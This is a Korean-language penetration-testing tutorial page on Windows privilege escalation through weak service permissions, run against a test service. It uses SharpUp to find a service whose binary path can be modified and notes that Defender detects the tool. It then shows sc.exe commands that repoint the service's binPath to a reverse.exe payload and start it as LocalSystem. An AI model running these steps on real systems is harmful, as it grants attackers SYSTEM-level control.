Weak Service Permissions
장악한 머신에서 서비스가 실행될 때, 서비스의 바이너리 경로를 변조할 권한이 있다면 서비스가 실행될 때 정상적인 프로세스가 아닌, 권한 상승을 가능케 하는 프로세스를 삽입할 수 있습니다.
실행 중인 서비스의 대부분은 바이너리 경로 변경 시 가용성에 침해를 입힐 수 있으므로 사용하지 않습니다.
SharpUp.exe는 취약한 서비스들을 탐색하는 여러 모듈을 지원하지만, 기본적으로 디펜더에 감지됩니다.
SharpUp을 사용하면 바이너리 경로를 변조할 수 있는 서비스 목록을 나열할 수 있습니다.
PS C:> .\SharpUp.exe audit ModifiableServices
=== SharpUp: Running Privilege Escalation Checks ===
...
Service 'VulnServiceTest' (State: Stopped, StartMode: Manual)
나열된 서비스 중 VulnServiceTest의 경우 바이너리 경로를 변조할 수 있는 취약한 서비스입니다. 내장된 sc.exe를 사용하여 해당 서비스의 바이너리 경로를 변조 후, 실행하여 권한 상승을 합니다. 간혹 sc.exe config 기능에서 binPath에 대한 인자를 입력할 때 경로 앞에 공백을 줘야하는 경우도 있습니다.
# 변경 전 서비스 바이너리 경로 확인
PS C:\> sc.exe qc VulnServiceTest
[SC] QueryServiceConfig 성공
SERVICE_NAME: VulnServiceTest
종류 : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\notepad.exe
LOAD_ORDER_GROUP :
태그 : 0
DISPLAY_NAME : Vulnerable Test Service
종속성 :
SERVICE_START_NAME : LocalSystem
# 서비스 바이너리 변경
PS C:\> sc.exe config VulnServiceTest binPath="C:\Users\Mick3y\AppData\Local\Temp\reverse.exe"
[SC] ChangeServiceConfig 성공
# 변경 후 서비스 바이너리 경로 확인
PS C:\> sc.exe qc VulnServiceTest
[SC] QueryServiceConfig 성공
SERVICE_NAME: VulnServiceTest
종류 : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Users\Mick3y\AppData\Local\Temp\reverse.exe
LOAD_ORDER_GROUP :
태그 : 0
DISPLAY_NAME : Vulnerable Test Service
종속성 :
SERVICE_START_NAME : LocalSystem
# 변경된 서비스 실행
PS C:\> sc.exe start VulnServiceTest
Last updated
Was this helpful?